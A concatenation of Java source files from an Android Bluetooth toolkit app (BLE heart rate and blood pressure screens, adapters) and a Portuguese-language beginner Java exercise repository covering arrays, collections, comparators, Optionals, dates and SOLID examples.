import com.kyriakosalexandrou.bluetoothtoolkit.bt.ble.bloodpressuremeasurement.BpmDeviceMultipleDevicesActivity;
import com.kyriakosalexandrou.bluetoothtoolkit.bt.ble.healththermometermeasurement.HtmDeviceActivity;
import com.kyriakosalexandrou.bluetoothtoolkit.bt.ble.healththermometermeasurement.HtmDeviceMultipleDevicesActivity;
import com.kyriakosalexandrou.bluetoothtoolkit.bt.ble.heartratemeasurement.HrmDeviceActivity;
import com.kyriakosalexandrou.bluetoothtoolkit.bt.ble.heartratemeasurement.HrmDeviceMultipleDevicesActivity;
import com.kyriakosalexandrou.bluetoothtoolkit.bt.classic.spp.SppActivity;
import com.kyriakosalexandrou.bluetoothtoolkit.models.BtHomeScreenFunctionality;
import java.util.List;
/**
* Responsible for handling the icons in the home screen
*
* @author Kyriakos.Alexandrou
*/
public class HomeIconsAdapter extends BaseAdapter {
private Context mContext;
private final List<BtHomeScreenFunctionality> mBtHomeScreenFunctionalities;
public HomeIconsAdapter(Context context, List<BtHomeScreenFunctionality> btFunctionalities) {
mContext = context;
this.mBtHomeScreenFunctionalities = btFunctionalities;
}
@Override
public int getCount() {
return mBtHomeScreenFunctionalities.size();
}
@Override
public BtHomeScreenFunctionality getItem(int position) {
return mBtHomeScreenFunctionalities.get(position);
}
public List<BtHomeScreenFunctionality> getItems() {
return mBtHomeScreenFunctionalities;
}
@Override
public long getItemId(int position) {
return 0;
}
@SuppressLint("InflateParams")
@Override
public View getView(final int position, View convertView, ViewGroup parent) {
LayoutInflater inflater = UtilHelper.getLayoutInflater(mContext);
ViewHolder viewHolder;
if (convertView == null) {
convertView = inflater.inflate(R.layout.item_home, null);
viewHolder = new ViewHolder();
bindViews(convertView, viewHolder);
convertView.setTag(viewHolder);
} else {
viewHolder = (ViewHolder) convertView.getTag();
}
setViewsValues(viewHolder, mBtHomeScreenFunctionalities.get(position));
return convertView;
}
private void bindViews(View view, ViewHolder viewHolder) {
viewHolder.mShortName = (TextView) view.findViewById(R.id.short_name_label);
viewHolder.mFullName = (TextView) view.findViewById(R.id.full_name_label);
viewHolder.mBtType = (TextView) view.findViewById(R.id.bt_type);
viewHolder.mLeftIcon = (ImageView) view.findViewById(R.id.left_icon);
viewHolder.mRightIcon = (ImageView) view.findViewById(R.id.right_icon);
}
private void setViewsValues(final ViewHolder viewHolder, BtHomeScreenFunctionality btHomeScreenFunctionality) {
viewHolder.mShortName.setText(btHomeScreenFunctionality.getShortName());
viewHolder.mFullName.setText(btHomeScreenFunctionality.getFullName());
viewHolder.mBtType.setText(mContext.getString(R.string.bt_type, btHomeScreenFunctionality.getBtTypeInPrettyFormat()));
setIcons(viewHolder, btHomeScreenFunctionality);
}
private void setIcons(final ViewHolder viewHolder, final BtHomeScreenFunctionality btHomeScreenFunctionality) {
viewHolder.mLeftIcon.setImageResource(btHomeScreenFunctionality.getImages()[0]);
viewHolder.mLeftIcon.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
onLeftIconClick(btHomeScreenFunctionality);
}
});
if (btHomeScreenFunctionality.getImages().length >= 2) {
viewHolder.mRightIcon.setVisibility(View.VISIBLE);
viewHolder.mRightIcon.setImageResource(btHomeScreenFunctionality.getImages()[1]);
viewHolder.mRightIcon.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
onRightIconClick(btHomeScreenFunctionality);
}
});
} else {
viewHolder.mRightIcon.setVisibility(View.INVISIBLE);
}
}
private void onRightIconClick(final BtHomeScreenFunctionality btHomeScreenFunctionality) {
Intent intent;
if (btHomeScreenFunctionality.isSupported()) {
switch (btHomeScreenFunctionality.getBtFunctionalityType()) {
case BPM:
intent = new Intent(mContext, BpmDeviceMultipleDevicesActivity.class);
mContext.startActivity(intent);
break;
case HRM:
intent = new Intent(mContext, HrmDeviceMultipleDevicesActivity.class);
mContext.startActivity(intent);
break;
case HTM:
intent = new Intent(mContext, HtmDeviceMultipleDevicesActivity.class);
mContext.startActivity(intent);
break;
case SPP:
intent = new Intent(mContext, SppActivity.class);
mContext.startActivity(intent);
break;
}
} else {
Toast.makeText(mContext, R.string.not_supported, Toast.LENGTH_LONG).show();
}
}
private void onLeftIconClick(final BtHomeScreenFunctionality btHomeScreenFunctionality) {
Intent intent;
if (btHomeScreenFunctionality.isSupported()) {
switch (btHomeScreenFunctionality.getBtFunctionalityType()) {
case BPM:
intent = new Intent(mContext, BpmDeviceActivity.class);
mContext.startActivity(intent);
break;
case HRM:
intent = new Intent(mContext, HrmDeviceActivity.class);
mContext.startActivity(intent);
break;
case HTM:
intent = new Intent(mContext, HtmDeviceActivity.class);
mContext.startActivity(intent);
break;
case SPP:
intent = new Intent(mContext, SppActivity.class);
mContext.startActivity(intent);
break;
}
} else {
Toast.makeText(mContext, R.string.not_supported, Toast.LENGTH_LONG).show();
}
}
private class ViewHolder {
private TextView mShortName;
private ImageView mLeftIcon;
private ImageView mRightIcon;
private TextView mFullName;
private TextView mBtType;
}
}<file_sep>/app/src/main/java/com/kyriakosalexandrou/bluetoothtoolkit/bt/BtSupportedFunctionalities.java
package com.kyriakosalexandrou.bluetoothtoolkit.bt;
import android.annotation.TargetApi;
import android.content.Context;
import android.os.Build;
import android.util.AttributeSet;
import android.view.LayoutInflater;
import android.view.View;
import android.widget.LinearLayout;
import android.widget.TextView;
import com.kyriakosalexandrou.bluetoothtoolkit.R;
import com.kyriakosalexandrou.bluetoothtoolkit.UtilHelper;
public class BtSupportedFunctionalities extends LinearLayout {
private BtCheckerHelper mBtCheckerHelper;
private TextView mIsBtClassicSupportedLabel;
private TextView mIsBleCentralSupportedLabel;
private TextView mIsBlePeripheralSupportedLabel;
public BtSupportedFunctionalities(Context context) {
this(context, null);
}
public BtSupportedFunctionalities(Context context, AttributeSet attrs) {
this(context, attrs, 0);
}
public BtSupportedFunctionalities(Context context, AttributeSet attrs, int defStyleAttr) {
super(context, attrs, defStyleAttr);
init();
}
@TargetApi(Build.VERSION_CODES.LOLLIPOP)
public BtSupportedFunctionalities(Context context, AttributeSet attrs, int defStyleAttr, int defStyleRes) {
super(context, attrs, defStyleAttr, defStyleRes);
init();
}
private void init() {
LayoutInflater inflater = UtilHelper.getLayoutInflater(getContext());
View view = inflater.inflate(R.layout.bt_supported_functionalities_banner, this, true);
bindViews(view);
}
private void bindViews(View view) {
mIsBtClassicSupportedLabel = (TextView) view.findViewById(R.id.is_bt_classic_supported_label);
mIsBleCentralSupportedLabel = (TextView) view.findViewById(R.id.is_central_supported_label);
mIsBlePeripheralSupportedLabel = (TextView) view.findViewById(R.id.is_peripheral_supported_label);
}
public void checkBtSupportedFunctionalities(BtCheckerHelper btCheckerHelper) {
mBtCheckerHelper = btCheckerHelper;
checkBtClassicSupport();
checkBleCentralSupport();
checkBlePeripheralSupport();
}
private void checkBtClassicSupport() {
if (mBtCheckerHelper.checkBtClassicSupport()) {
mIsBtClassicSupportedLabel.setText(getResources().getString(R.string.label_bt_classic_mode_supported));
mIsBtClassicSupportedLabel.setBackgroundColor(getResources().getColor(android.R.color.holo_green_dark));
} else {
mIsBtClassicSupportedLabel.setText(getResources().getString(R.string.label_bt_classic_mode_not_supported));
mIsBtClassicSupportedLabel.setBackgroundColor(getResources().getColor(android.R.color.holo_red_dark));
}
}
private void checkBleCentralSupport() {
if (mBtCheckerHelper.checkBleCentralSupport()) {
mIsBleCentralSupportedLabel.setText(getResources().getString(R.string.label_central_mode_supported));
mIsBleCentralSupportedLabel.setBackgroundColor(getResources().getColor(android.R.color.holo_green_dark));
} else {
mIsBleCentralSupportedLabel.setText(getResources().getString(R.string.label_central_mode_not_supported));
mIsBleCentralSupportedLabel.setBackgroundColor(getResources().getColor(android.R.color.holo_red_dark));
}
}
private void checkBlePeripheralSupport() {
if (mBtCheckerHelper.checkBlePeripheralSupport()) {
mIsBlePeripheralSupportedLabel.setText(getResources().getString(R.string.label_peripheral_mode_supported));
mIsBlePeripheralSupportedLabel.setBackgroundColor(getResources().getColor(android.R.color.holo_green_dark));
} else {
mIsBlePeripheralSupportedLabel.setText(getResources().getString(R.string.label_peripheral_mode_not_supported));
mIsBlePeripheralSupportedLabel.setBackgroundColor(getResources().getColor(android.R.color.holo_red_dark));
}
}
}
<file_sep>/app/src/main/java/com/kyriakosalexandrou/bluetoothtoolkit/bt/ble/heartratemeasurement/HrmDeviceManager.java
package com.kyriakosalexandrou.bluetoothtoolkit.bt.ble.heartratemeasurement;
import android.annotation.TargetApi;
import android.app.Activity;
import android.bluetooth.BluetoothGatt;
import android.bluetooth.BluetoothGattCharacteristic;
import android.bluetooth.BluetoothProfile;
import android.os.Build;
import com.kyriakosalexandrou.bluetoothtoolkit.R;
import com.kyriakosalexandrou.bluetoothtoolkit.bt.ble.BleBaseDeviceManager;
import com.kyriakosalexandrou.bluetoothtoolkit.bt.ble.BleBaseDeviceManagerUiCallback;
import com.kyriakosalexandrou.bluetoothtoolkit.bt.ble.BleNamesResolver;
import com.kyriakosalexandrou.bluetoothtoolkit.bt.ble.BleUUIDs;
import java.util.UUID;
@TargetApi(Build.VERSION_CODES.JELLY_BEAN_MR2)
public class HrmDeviceManager extends BleBaseDeviceManager {
private static final String TAG = "HrmDeviceManager";
private static final int BODY_SENSOR_LOCATION_FAILED_VALUE = 0;
private HrmDeviceManagerUiCallback mHrActivityUiCallback;
private int mHrmValue, mBodySensorLocationValue;
private boolean isHrMeasurementFound = false;
public HrmDeviceManager(
BleBaseDeviceManagerUiCallback bleBaseDeviceManagerUiCallback,
Activity mActivity) {
super(mActivity, bleBaseDeviceManagerUiCallback);
mHrActivityUiCallback = (HrmDeviceManagerUiCallback) bleBaseDeviceManagerUiCallback;
}
public int getBodySensorLocationValue() {
return mBodySensorLocationValue;
}
public int getHrmValue() {
return mHrmValue;
}
public String getFormattedHtmValue() {
return getHrmValue() + mContext.getString(R.string.beats_per_minute);
}
public String getFormattedBodySensorValue() {
return BleNamesResolver.resolveHeartRateSensorLocation(getBodySensorLocationValue());
}
@Override
protected void onCharFound(BluetoothGattCharacteristic characteristic) {
if (BleUUIDs.Service.HEART_RATE.equals(characteristic
.getService().getUuid())) {
if (BleUUIDs.Characteristic.HEART_RATE_MEASUREMENT
.equals(characteristic.getUuid())) {
isHrMeasurementFound = true;
addCharToQueue(characteristic);
} else if (BleUUIDs.Characteristic.BODY_SENSOR_LOCATION
.equals(characteristic.getUuid())) {
addCharToQueue(characteristic);
}
} else {
super.onCharFound(characteristic);
}
}
@Override
protected void onCharsFoundCompleted() {
mHrActivityUiCallback.onUiHrmFound(isHrMeasurementFound);
if (!isHrMeasurementFound) {
disconnect();
} else {
// call execute after all characteristics added to queue
executeCharacteristicsQueue();
}
}
@Override
public void onCharacteristicRead(BluetoothGatt gatt,
BluetoothGattCharacteristic characteristic, int status) {
super.onCharacteristicRead(gatt, characteristic, status);
UUID characteristicUUID = characteristic.getUuid();
switch (status) {
case BluetoothGatt.GATT_SUCCESS:
if (BleUUIDs.Characteristic.BODY_SENSOR_LOCATION
.equals(characteristicUUID)) {
int result = characteristic.getIntValue(
BluetoothGattCharacteristic.FORMAT_UINT8, 0);
mBodySensorLocationValue = result;
mHrActivityUiCallback
.onUiBodySensorLocation(mBodySensorLocationValue);
}
break;
default:
// failed for reasons other than requiring bonding etc.
if (BleUUIDs.Characteristic.BODY_SENSOR_LOCATION
.equals(characteristicUUID)) {
mBodySensorLocationValue = BODY_SENSOR_LOCATION_FAILED_VALUE;
mHrActivityUiCallback.onUiBodySensorLocation(mBodySensorLocationValue);
}
break;
}
}
@Override
public void onConnectionStateChange(BluetoothGatt gatt, int status,
int newState) {
super.onConnectionStateChange(gatt, status, newState);
if (status == BluetoothGatt.GATT_SUCCESS) {
switch (newState) {
case BluetoothProfile.STATE_CONNECTED:
readRssiPeriodicaly(true, RSSI_UPDATE_INTERVAL);
break;
case BluetoothProfile.STATE_DISCONNECTED:
isHrMeasurementFound = false;
break;
}
} else {
isHrMeasurementFound = false;
}
}
@Override
public void onCharacteristicChanged(BluetoothGatt gatt,
BluetoothGattCharacteristic ch) {
super.onCharacteristicChanged(gatt, ch);
UUID currentCharUUID = ch.getUuid();
if (BleUUIDs.Characteristic.HEART_RATE_MEASUREMENT
.equals(currentCharUUID)) {
mHrmValue = ch.getIntValue(BluetoothGattCharacteristic.FORMAT_UINT8, 1);
mHrActivityUiCallback.onUiHRM(mHrmValue);
}
}
}
<file_sep>/app/src/main/java/com/kyriakosalexandrou/bluetoothtoolkit/bt/ble/healththermometermeasurement/HtmDeviceManagerUICallback.java
package com.kyriakosalexandrou.bluetoothtoolkit.bt.ble.healththermometermeasurement;
public interface HtmDeviceManagerUICallback {
void onUiHtmFound(boolean isFound);
void onUiTemperatureChange(final float result);
}<file_sep>/app/src/main/java/com/kyriakosalexandrou/bluetoothtoolkit/ui/activities/SettingsActivity.java
package com.kyriakosalexandrou.bluetoothtoolkit.ui.activities;
import android.app.ActionBar;
import android.os.Bundle;
import android.preference.PreferenceActivity;
import android.view.MenuItem;
import com.kyriakosalexandrou.bluetoothtoolkit.ui.fragments.SettingsFragment;
public class SettingsActivity extends PreferenceActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
getFragmentManager().beginTransaction()
.replace(android.R.id.content, new SettingsFragment()).commit();
ActionBar ab = getActionBar();
if (ab != null) {
ab.setDisplayHomeAsUpEnabled(true);
}
}
@Override
public boolean onMenuItemSelected(int featureId, MenuItem item) {
switch (item.getItemId()) {
case android.R.id.home:
finish();
}
return super.onMenuItemSelected(featureId, item);
}
}<file_sep>/app/src/main/java/com/kyriakosalexandrou/bluetoothtoolkit/bt/ble/bloodpressuremeasurement/BpmDeviceActivity.java
package com.kyriakosalexandrou.bluetoothtoolkit.bt.ble.bloodpressuremeasurement;
import android.os.Bundle;
import android.view.Menu;
import android.view.View;
import android.view.ViewGroup;
import android.widget.TextView;
import android.widget.Toast;
import com.kyriakosalexandrou.bluetoothtoolkit.R;
import com.kyriakosalexandrou.bluetoothtoolkit.bt.ble.BleBaseSingleDeviceActivity;
public class BpmDeviceActivity extends BleBaseSingleDeviceActivity implements BpmDeviceManagerUiCallback {
private BpmDeviceManager mBpmDeviceManager;
private BpmGraph mGraph;
private TextView mSystolicResult, mDiastolicResult, mArterialPressureResult;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState, R.layout.activity_bpm);
mBpmDeviceManager = new BpmDeviceManager(this, mActivity);
initialiseDialogAbout(getResources().getString(
R.string.about_blood_pressure));
initialiseDialogFoundDevices(
getString(R.string.blood_pressure),
getResources().getDrawable(R.drawable.ic_toolbar_bpm));
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
getMenuInflater().inflate(R.menu.bpm, menu);
getActionBar().setIcon(R.drawable.ic_toolbar_bpm);
getActionBar().setDisplayHomeAsUpEnabled(true);
return super.onCreateOptionsMenu(menu);
}
@Override
public void bindViews() {
super.bindViews();
bindCommonViews();
mSystolicResult = (TextView) findViewById(R.id.systolic_value);
mDiastolicResult = (TextView) findViewById(R.id.diastolic_value);
mArterialPressureResult = (TextView) findViewById(R.id.arterial_pressure_value);
View wholeScreenView = ((ViewGroup) this
.findViewById(android.R.id.content)).getChildAt(0);
mGraph = new BpmGraph(mActivity, wholeScreenView);
}
@Override
public void onUiConnected() {
super.onUiConnected();
uiInvalidateViewsState();
}
@Override
public void onUiDisconnected(int status) {
super.onUiDisconnected(status);
runOnUiThread(new Runnable() {
@Override
public void run() {
mSystolicResult.setText(getResources().getString(
R.string.non_applicable));
mDiastolicResult.setText(getResources().getString(
R.string.non_applicable));
mArterialPressureResult.setText(getResources().getString(
R.string.non_applicable));
if (mGraph != null) {
mGraph.clearGraph();
}
}
});
mGraph.setStartTime(0);
}
@Override
public void onUiBpmFound(boolean isFound) {
if (!isFound) {
runOnUiThread(new Runnable() {
@Override
public void run() {
Toast.makeText(
mActivity,
getResources().getString(R.string.bpm_full_name) + " " + getResources().getString(R.string.characteristic_not_found),
Toast.LENGTH_LONG).show();
}
});
}
}
@Override
public void onUIBloodPressureRead(final float valueSystolic,
final float valueDiastolic, final float valueArterialPressure) {
mGraph.startTimer();
runOnUiThread(new Runnable() {
@Override
public void run() {
mSystolicResult.setText(mBpmDeviceManager.getFormattedSystolicValue());
mDiastolicResult.setText(mBpmDeviceManager.getFormattedDiastolicValue());
mArterialPressureResult.setText(mBpmDeviceManager.getFormattedArterialPressureValue());
mGraph.addNewData(valueSystolic, valueDiastolic,
valueArterialPressure);
}
});
}
}
|
d782f8e57181af782902f50b6c8b89824197772a
|
[
"Java"
] | 14 |
Java
|
KikiTheMonk/Bluetooth-Toolkit
|
31728a9a0878f408edf9b0de136349373d602eed
|
8d6f417cf584788af6155f97b33c90d852be0564
|
refs/heads/master
|
<repo_name>bsdpunk/contesh<file_sep>/shell/contexts/events/events.go
package events
import "time"
import "fmt"
type Event struct {
// Event Id
Id int64 `json:"id"`
// Event Description
Desc string `json:"description"`
// Latitude
Lat float64 `json:"lat"`
// Longitude
Lon float64 `json:"lon"`
//Action func()
// Theme of event
Theme string `json:"theme"`
// When the event occoured
When time.Time `json:"when"`
// Unified Name
Name string `json:"event"`
// Tags
Tags []string `json:"tags"`
// MetaData Id
Mid int64 `json:"mId"`
}
type Events []Event
func Import() {
fmt.Println("Not yet Implimented")
return
}
//func (c CommandsByName) Len() int {
// return len(c)
//}
//
//func (c CommandsByName) Swap(i, j int) {
// c[i], c[j] = c[j], c[i]
//}
//
//// FullName returns the full name of the command.
//// For subcommands this ensures that parent commands are part of the command path
//
//func (c Command) Names() []string {
// names := []string{c.Name}
//
// if c.ShortName != "" {
// names = append(names, c.ShortName)
// }
//
// return names
// //return append(names, c.Aliases...)
//}
//func (cs Commands) HasCommand(name string) bool {
// for _, i := range cs {
// for _, n := range i.Names() {
// if n == name {
// return true
// }
// }
// }
// return false
//}
//
////func (c Command) HasName(name string) bool {
//// for _, n := range c.Names() {
//// if n == name {
//// return true
//// }
//// }
//// return false
////}
//func (cs Commands) NameIs(name string) Command {
// for _, c := range cs {
// if c.ShortName == name || c.Name == name {
// return c
// }
// }
// c := Command{}
// return c
//}
<file_sep>/Readme.md
# Contesh
Go tools for transforming and importing contexts
## Import
MIA
## general
There is a quit, and clear screen command.
```
quit
exit
clear
```
<file_sep>/shell/contexts/themes/themes.go
package themes
type Theme struct {
Id int64 `json:"id"`
Name string `json:"theme"`
}
|
d9652e2cdf87d41f53f874e054488d0b2f9e7083
|
[
"Markdown",
"Go"
] | 3 |
Go
|
bsdpunk/contesh
|
757bd59ea4e8b7f6c14e679cba144883f6a61e3b
|
a0352246e8be42d0ce4948c2213bc253f5cdcc4d
|
refs/heads/master
|
<repo_name>Billmetal/desenvolvimento-basico-java<file_sep>/Digital Innovation Java/src/main/java/Digital/Innovation/Java/orientacao_objeto/part03/heranca/exemplo003/Funcionarios.java
package Digital.Innovation.Java.orientacao_objeto.part03.heranca.exemplo003;
public class Funcionarios {
private double salario;
public Funcionarios(double salario) {
this.salario = salario;
}
public double getSalario() {
return salario;
}
public double pagoDeImposto() {
return 0;
}
}
<file_sep>/Digital Innovation Java/src/main/java/Digital/Innovation/Java/SOLID/dependency_inversion_principle/Produto.java
package Digital.Innovation.Java.SOLID.dependency_inversion_principle;
public class Produto {
}
<file_sep>/Digital Innovation Java/src/main/java/Digital/Innovation/Java/orientacao_objeto/part02/construtores/exemplo003/ExemploInstanciaObjeto.java
package Digital.Innovation.Java.orientacao_objeto.part02.construtores.exemplo003;
public class ExemploInstanciaObjeto {
public static void main(String[] args) {
Pessoa pessoa = new Pessoa("Marco");
System.out.println(pessoa.getNome());
// Exercício Final testes
var uno = new Carro("Uno 1.5","Fiat",2002);
var gol = new Carro("Gol 1.6","Volkswagem",2005);
System.out.println("Carro : "+uno.getModelo()+" , Marca : "+uno.getMarca()+" , Ano : "+uno.getAno()+" .");
System.out.println("Carro : "+gol.getModelo()+" , Marca : "+gol.getMarca()+" , Ano : "+gol.getAno()+" .");
}
}
<file_sep>/Digital Innovation Java/src/main/java/Digital/Innovation/Java/SOLID/open_closed_principle/DescontoLivroAutoAjuda.java
package Digital.Innovation.Java.SOLID.open_closed_principle;
public class DescontoLivroAutoAjuda implements DescontoLivro{
@Override
public double valorDesconto() {
return 0.5;
}
}
<file_sep>/Digital Innovation Java/src/main/java/Digital/Innovation/Java/arrays/MyClass.java
package Digital.Innovation.Java.arrays;
public class MyClass {
public static void main(String[] args) {
// conceitos e declaração de arrays
int[] meuArray = new int[7];
int[] meuArray2 = {12,32,54,6,8,89,64};
System.out.println(meuArray[1]);
System.out.println(meuArray2[3]);
// alterando o valor de um elemento
meuArray2[2] = 10;
System.out.println(meuArray2[2]);
// comprimento do array
System.out.println(meuArray.length);
// percorrendo arrays
for(int i = 0; i < 7; i++) {
System.out.println(meuArray2[i]);
}
// percorrendo arrays multidimensionais
int[][] meuArrayMulti = {{1,2,3,4},{5,6,7}};
for(int i = 0; i < meuArrayMulti.length; i++) {
for(int j = 0; j < meuArrayMulti[i].length; j++) {
System.out.println(meuArrayMulti[i][j]);
}
}
}
}
<file_sep>/Digital Innovation Java/src/main/java/Digital/Innovation/Java/comparators/ExercicioFinal.java
package Digital.Innovation.Java.comparators;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
import java.util.TreeMap;
import java.util.TreeSet;
/****Exercício Final****
*
* Crie uma lista de um objeto complexo e execute as seguintes operações :
*
* - Adicione elementos nesta lista.
* - Ordene implementando a interface Comparable no seu objeto complexo.
* - Ordene implementando um novo objeto com a interface Comparator.
* - Ordene usando uma expressão lambda na chamada de suaLista.sort().
* - Ordene usando referências de métodos e os métodos estáticos de Comparator.
* - Ordene coleções TreeSet e TreeMap .
*
* */
public class ExercicioFinal {
public static void main(String[] args) {
List<Jogador> jogadores = new ArrayList<>();
jogadores.add(new Jogador("Daniela", 21, 1500));
jogadores.add(new Jogador("Jonas", 18, 2600));
jogadores.add(new Jogador("Paulo", 23, 3000));
jogadores.add(new Jogador("Roberta", 17, 2000));
jogadores.add(new Jogador("Artur", 19, 3200));
jogadores.add(new Jogador("Renata", 22, 2500));
Collections.sort(jogadores);
Collections.sort(jogadores,new OrdenaPontuacao());
jogadores.sort((first,second) -> first.getIdade() - second.getIdade());
jogadores.sort(Comparator.comparingInt(Jogador::getIdade));
jogadores.sort(Comparator.comparingInt(Jogador::getPotuacao));
TreeSet<Jogador> treeJogadores = new TreeSet<>(new Comparator<Jogador>() {
@Override
public int compare(Jogador o1, Jogador o2) {
return o2.getPotuacao() - o1.getPotuacao();
}
});
treeJogadores.add(new Jogador("Larissa", 18, 2300));
treeJogadores.add(new Jogador("Alfredo", 20, 3100));
treeJogadores.add(new Jogador("Roger", 19, 2800));
System.out.println(treeJogadores);
TreeMap<Integer,String> ranking = new TreeMap<>((i1,i2) -> i2 - i1);
ranking.put(15000, "Jeferson");
ranking.put(10450, "Rodrigo");
ranking.put(11500, "Renata");
ranking.put(14900, "Anderson");
ranking.put(14950, "Pamela");
System.out.println(ranking);
}
}
class Jogador implements Comparable<Jogador>{
private final String nome;
private final int idade,potuacao;
public Jogador(String nome, int idade, int potuacao) {
this.nome = nome;
this.idade = idade;
this.potuacao = potuacao;
}
public String getNome() {
return nome;
}
public int getIdade() {
return idade;
}
public int getPotuacao() {
return potuacao;
}
@Override
public String toString() {
return nome+" - "+idade+" - "+potuacao;
}
@Override
public int compareTo(Jogador o) {
return this.getIdade() - o.getIdade();
}
}
class OrdenaPontuacao implements Comparator<Jogador>{
@Override
public int compare(Jogador o1, Jogador o2) {
return o1.getPotuacao() - o2.getPotuacao();
}
}
<file_sep>/Digital Innovation Java/src/main/java/Digital/Innovation/Java/datas_date/Exercicio001.java
package Digital.Innovation.Java.datas_date;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.time.Instant;
import java.time.LocalDate;
import java.util.Date;
public class Exercicio001 {
public static void main(String[] args) {
Exercicio001 e = new Exercicio001();
System.out.println(e.checaLong(1563385317992L));
// Testanto resolução de Exercício 1
System.out.println(e.dateToLong(18, 06, 1979));
System.out.println(e.checaLong(e.dateToLong(18, 06, 1979)));
}
/**
* Exercicio 1
*
* Você tem um epoch (formato long) converta no formato Date
*
* Epoch 1563385317992
*
* Ponto de atenção: como Você está manipulando um numero do tipo long, dependendo da maneira que Você estiver
* manipulando essa informação, Você precisa colocar a letra l no final do numero
*
*
*
* @param epoch
* @return
*/
public Date checaLong(long epoch) {
Date date = new Date(epoch);
return date;
}
/**
*
* @return
*/
public long dateToLong(int dia,int mes,int ano) {
SimpleDateFormat format = new SimpleDateFormat("dd/MM/yyyy");
Date data = new Date();
try {
data = format.parse(dia+"/"+mes+"/"+ano);
} catch (ParseException e) {
e.printStackTrace();
}
return data.getTime();
}
}
<file_sep>/Digital Innovation Java/src/main/java/Digital/Innovation/Java/SOLID/single_responsibility_principle/Produto.java
package Digital.Innovation.Java.SOLID.single_responsibility_principle;
import java.math.BigDecimal;
public class Produto {
private String produto,marca;
private BigDecimal valor;
public Produto(String produto, String marca,double valor) {
this.produto = produto;
this.marca = marca;
this.valor = new BigDecimal(valor);
}
public String getProduto() {
return produto;
}
public String getMarca() {
return marca;
}
public BigDecimal getValor() {
return valor;
}
}
<file_sep>/Digital Innovation Java/src/main/java/Digital/Innovation/Java/SOLID/single_responsibility_principle/OrdemDeCompra.java
package Digital.Innovation.Java.SOLID.single_responsibility_principle;
import java.math.BigDecimal;
import java.util.ArrayList;
import java.util.List;
/* Este conceito diz que cada classe deve conter apenas uma responsabilidade .*/
/*
* CLASSE OrdemDeCompra
* */
public class OrdemDeCompra {
private List<Produto> produtos = new ArrayList<>();
public void adicionarProduto(Produto produto) {produtos.add(produto);}
public void removerProduto(Produto produto) {produtos.remove(produto);}
public BigDecimal calcularTotal() {
return produtos.stream().map(Produto::getValor)
.reduce(BigDecimal.ZERO,BigDecimal::add);
}
}
/*
* CLASSE OrdemDeCompraRepository
* */
class OrdemDeCompraRepository{
public List<OrdemDeCompra> buscarOrdensDeCompra(){
// retorna a lista de ordens de compra da base de dados
return new ArrayList<OrdemDeCompra>();
}
public void salvarOrdemDeCompra(OrdemDeCompra ordemDeCompra) {
// salva lista de produtos na base de dados
}
public void alterarOrdemCompra() {
// alterar na base de dados
}
}
/*
* CLASSE OrdemDeCompraMail
* */
class OrdemDeCompraMail{
public void enviarEmail(OrdemDeCompra ordemDeCompra,String email) {
// envia email da ordem de compra
}
}
/*
* CLASSE OrdemDeCompraPrint
* */
class OrdemDeCompraPrint{
public void imprimirOrdemCompra(OrdemDeCompra ordemDeCompra) {
// imprime a ordem de compra
}
}
<file_sep>/Digital Innovation Java/src/main/java/Digital/Innovation/Java/optionals/ExercicioFinal.java
package Digital.Innovation.Java.optionals;
import java.util.Optional;
/****Exercício Final*********
*
*Crie um optional de um determinado tipo de dado:
*
*- Crie com estado vazio, estado presente e com null
*- Se presente , exiba o valor no console
*- Se Vazio , lançe uma exceção IlegalStateException
*- Se Vazio , exiba "Optional Vazio" no console
*- Se presente , transforme o valor e exiba no console
*- Se presente , pegue o valor do optional e atribua em uma variável
*- Se presente , filtre o optional com uma determinada regra de negócio
*
***/
public class ExercicioFinal {
public static void main(String[] args) {
Optional<String> optVazio = Optional.empty();
Optional<String> optPresente = Optional.of("Resolvendo Exercício !");
Optional<String> optNulo = Optional.ofNullable(null);
optVazio.ifPresent(System.out::println);
optPresente.ifPresent(System.out::println);
optNulo.ifPresent(System.out::println);
optVazio.orElseThrow(IllegalStateException::new);
optPresente.orElseThrow(IllegalStateException::new);
optNulo.orElseThrow(IllegalStateException::new);
if(optVazio.isEmpty() || optPresente.isEmpty() || optNulo.isEmpty()) {
System.out.println("Optional Vazio");
}
optVazio.map((valor) -> valor = "Transformando Valor !").ifPresent(System.out::println);
optPresente.map((valor) -> valor = "Transformando Valor !").ifPresent(System.out::println);
optNulo.map((valor) -> valor = "Transformando Valor !").ifPresent(System.out::println);
if(optVazio.isPresent()) {
String valor = optVazio.get();
}
if(optPresente.isPresent()) {
String valor = optVazio.get();
}
if(optNulo.isPresent()) {
String valor = optVazio.get();
}
optVazio.ifPresent((valor) -> valor.endsWith("!"));
optPresente.ifPresent((valor) -> valor.contains("!"));
optNulo.ifPresent((valor) -> valor.isEmpty());
}
}
<file_sep>/Digital Innovation Java/src/main/java/Digital/Innovation/Java/collections/list/ExercicioFinal.java
package Digital.Innovation.Java.collections.list;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
/***Exercício Final****
*
* Crie uma lista e execute as seguintes operações :
*
* - Adicione 5 nomes : Juliana,Pedro,Carlos,Larissa e João.
* - Navegue na lista exibindo cada nome no console.
* - Substitua o nome Carlos por Roberto.
* - Retorne o nome da posição 1.
* - Remova o nome da posição 4.
* - Remova o nome João.
* - Retorne a quantidade de itens na lista.
* - Verifique se o nome Juliano existe na lista.
* - Crie uma nova lista com os nomes: Ismael e Rodrigo. Adicione todos os
* itens da nova lista na primeira lista criada.
* - Ordene os itens da lista por ordem alfabetica.
* - Verifique se a lista esta vazia.*/
public class ExercicioFinal {
public static void main(String[] args) {
List<String> nomes = new ArrayList<>();
nomes.add("Juliana");
nomes.add("Pedro");
nomes.add("Carlos");
nomes.add("Larissa");
nomes.add("João");
for(String nome : nomes) {
System.out.println(nome);
}
nomes.set(2,"Roberto");
System.out.println(nomes.get(1));
nomes.remove(4);
nomes.remove("João");
System.out.println(nomes.size());
System.out.println(nomes.contains("Juliano"));
List<String> nomes2 = new ArrayList<>();
nomes2.add("Ismael");
nomes2.add("Rodrigo");
nomes.addAll(nomes2);
Collections.sort(nomes);
System.out.println(nomes.isEmpty());
System.out.println(nomes);
}
}
